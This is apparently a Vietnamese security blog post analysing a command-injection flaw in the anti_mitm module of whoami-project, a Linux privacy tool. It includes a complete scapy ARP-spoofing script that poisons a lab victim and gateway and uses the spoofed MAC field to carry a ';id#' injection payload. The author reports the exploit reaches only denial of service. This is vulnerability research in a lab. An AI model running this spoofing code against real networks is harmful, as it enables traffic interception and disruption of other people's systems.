ARPSPOOF
Mở đầu
Trong bài viết này chúng ta sẽ cùng đi qua 1 open-source project khá nổi nhưng hiện giờ không còn maintain nữa đó là whoami-project. Đây là 1 công cụ về bảo mật cá nhân “giúp nâng cao quyền riêng tư và ẩn danh” trên các hệ điều hành Linux. Project này có 1 module tên là anti_mitm cho việc “Automatically bans the attacker when you come under a Man In The Middle attack”, nhưng mà module này lại có 1 lỗ hổng khá nghiêm trọng mà mình nhận thấy và phía dưới ta sẽ cùng phân tích kĩ hơn.
Setup môi trường
Trong scenario của attack này, ta sẽ có 2 machine:
- Attacker: Attacker machine mình sẽ sử dụng Kali VM với IP 192.168.98.132
- Victim: Phía victim machine sẽ là Ubuntu với IP 192.168.98.133
- Cài đặt project ở bên máy victim:
Phân tích
Cấu trúc project
Sau khi cài đặt xong, ta khởi chạy chương trình như bên dưới và ta có thể thấy sẽ có vài option cho các arguments mà project cho phép.
Khi chạy lệnh “sudo kali-whoami –start” ta sẽ được menu trông như sau:
Có vẻ như trong menu trên thì đó là các module, function mà ta có thể chọn để sử dụng, thay vì nghịch thử các options thì mình đi tìm thẳng source code cho các function trên luôn, ở phía dưới sẽ là cấu trúc thư mục của project, ta có thể thấy là có vẻ như source code của các module, function trên sẽ nằm ở thư mục whoami-project/assets/scripts/
Sau 1 hồi đọc hết tất cả các file trong thư mục whoami-project/assets/scripts/, thì có 1 file mình để ý nhất đó là anti_mitm, và dưới đây là đoạn code của nó:
Module này sẽ dùng cho việc ngăn việc bị tấn công Man in the middle (MITM) bằng cách kiểm tra những gói ARP gửi đến và nếu như có dấu hiệu cho việc ARP spoofing thì sẽ viết ra rule firewall để drop hết tất cả các requests đến từ địa chỉ MAC spoofing
Phân tích luồng thực thi
Đọc file kali-whoami.sh, tức là file dùng để khởi động chương trình, như bên dưới ta sẽ thấy các options, các module, function của project được list ra:
Và dưới đây sẽ là đoạn code phụ trách cho việc khởi động module anti_mitm:
Ta thấy chương trình sẽ cần ta chạy ở quyền root, và nếu ta chọn module anti_mitm thì sẽ tương đương với việc chạy command:
1
sudo python3 /usr/share/kali-whoami/assets/scripts/anti_mitm
Giờ ta sẽ đi vào đoạn code và cách hoạt động của file anti_mitm.
Phân tích lỗ hổng
Khai thác
Nhưng mà quan trọng là nếu ta thực sự có thể command injection được vào đoạn command kia thì ta sẽ thành được cả root của machine, đơn giản là vì đoạn code này sử dụng scapy, mà scapy sử dụng Python socket library để tạo raw sockets, và để tạo được raw sockets thì sẽ phải cần quyền của root.
Ref: https://stackoverflow.com/questions/22421290/scapy-operation-not-permitted-when-sending-packets#:~:text=Scapy%20needs%20root%20privileges%20to,the%20Linux%20raw%20man%20pages
Đây sẽ là đoạn code exploit của mình:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import scapy.all as scapy
import time
def get_mac(ip):
arp_request = scapy.ARP(pdst = ip)
broadcast = scapy.Ether(dst ="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast / arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout = 5, verbose = False)[0]
return answered_list[0][1].hwsrc
def spoof(target_ip, spoof_ip):
packet = scapy.ARP(op = 2, pdst = target_ip, hwdst = get_mac(target_ip), psrc = spoof_ip, hwsrc=";id#") # Payload ở đây
scapy.send(packet, verbose = False)
def restore(destination_ip, source_ip):
destination_mac = get_mac(destination_ip)
source_mac = get_mac(source_ip)
packet = scapy.ARP(op = 2, pdst = destination_ip, hwdst = destination_mac, psrc = source_ip, hwsrc = source_mac)
scapy.send(packet, verbose = False)
target_ip = "192.168.98.133"
gateway_ip = "192.168.98.1"
try:
sent_packets_count = 0
while True:
spoof(target_ip, gateway_ip)
spoof(gateway_ip, target_ip)
sent_packets_count = sent_packets_count + 2
print("\r[*] Packets Sent "+str(sent_packets_count), end ="")
time.sleep(2)
except KeyboardInterrupt:
print("\nCtrl + C pressed.............Exiting")
restore(gateway_ip, target_ip)
restore(target_ip, gateway_ip)
print("[+] Arp Spoof Stopped")
Đoạn code trên sẽ gửi packet kèm với địa chỉ MAC malicious như trên để test, mỗi 2 giây đoạn code sẽ gửi packet này lại 1 lần.
Sau khi thực thi đoạn code exploit thì ở bên phía attacker, nếu như ta gọi đến module đó, và quan trọng là module này chắc chắn phải ở quyền của root thì mới có thể chạy được ở phía victim:
Ta thấy sau khi thực hiện ARP attack, payload của ta sẽ được bytes object và khi đi vào code sẽ trở thành cộng chuỗi với bytes và xảy ra lỗi.
Vậy liệu có cách để mà làm cho payload này trở thành hoạt động được không, nó cũng đồng nghĩa với việc là ta cần phải làm cho payload tự động decode lại thành string, nhưng đáng buồn là ta chỉ làm được 9 điểm thôi, câu điểm 10 để lại vậy =)))) Impact đến đây dừng lại ở DOS nhưng ít ra ta cũng có cách để ngăn cho rule firewall không được viết ra khi victim sử dụng service.